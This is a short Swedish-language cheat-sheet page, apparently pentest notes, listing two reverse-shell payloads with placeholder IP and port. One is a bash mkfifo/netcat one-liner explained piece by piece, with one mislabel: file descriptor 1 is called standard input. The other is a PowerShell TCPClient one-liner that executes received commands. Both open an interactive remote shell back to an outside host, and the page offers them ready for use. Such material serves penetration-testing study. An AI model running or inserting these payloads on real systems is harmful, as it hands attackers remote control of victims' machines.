Payloads


Bash-shell för att ansluta till en Netcat-lyssnare

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <IP-adress> <port> > /tmp/f
  • rm -f /tmp/f; - Tar bort /tmp/f-filen om den existerar, -f gör att rm ignorerar icke existerande filer. semikolon gör att kommandot körs sekventiellt.

  • mkfifo /tmp/f; - Skapar en namngiven kanal som möjliggör kommunikation mellan olika processer. OS:et skapar en fil som i det här fallet ligger under /tmp och heter "f" och som kan nås som en del av filsystemet. FIFO står för "First In, First Out" och definierar att data som skickas behandlas i den ordning som den kommer in. Första datan som skickas är den första som tas emot och bearbetas av mottagande processen osv.

  • cat /tmp/f | - Sätter samman och läser datan från FIFO-filen /tmp/f och skickar över detta till kommandot som kommer efter |.

  • /bin/bash -i 2>&1 | - Specificerar att man vill använda ett interaktivt (-i) Bash-shell (/bin/bash) och att standardfel (2) och standardinmatning (1) ska kopplas till kommandot som kommer efter |.

  • nc > /tmp/f - Använd Netcat för att skapa en anslutning till specificerad IP-adress och port, därefter skicka utmatningen till /tmp/f-filen


PowerShell One-liner

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<IP-adress>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Last updated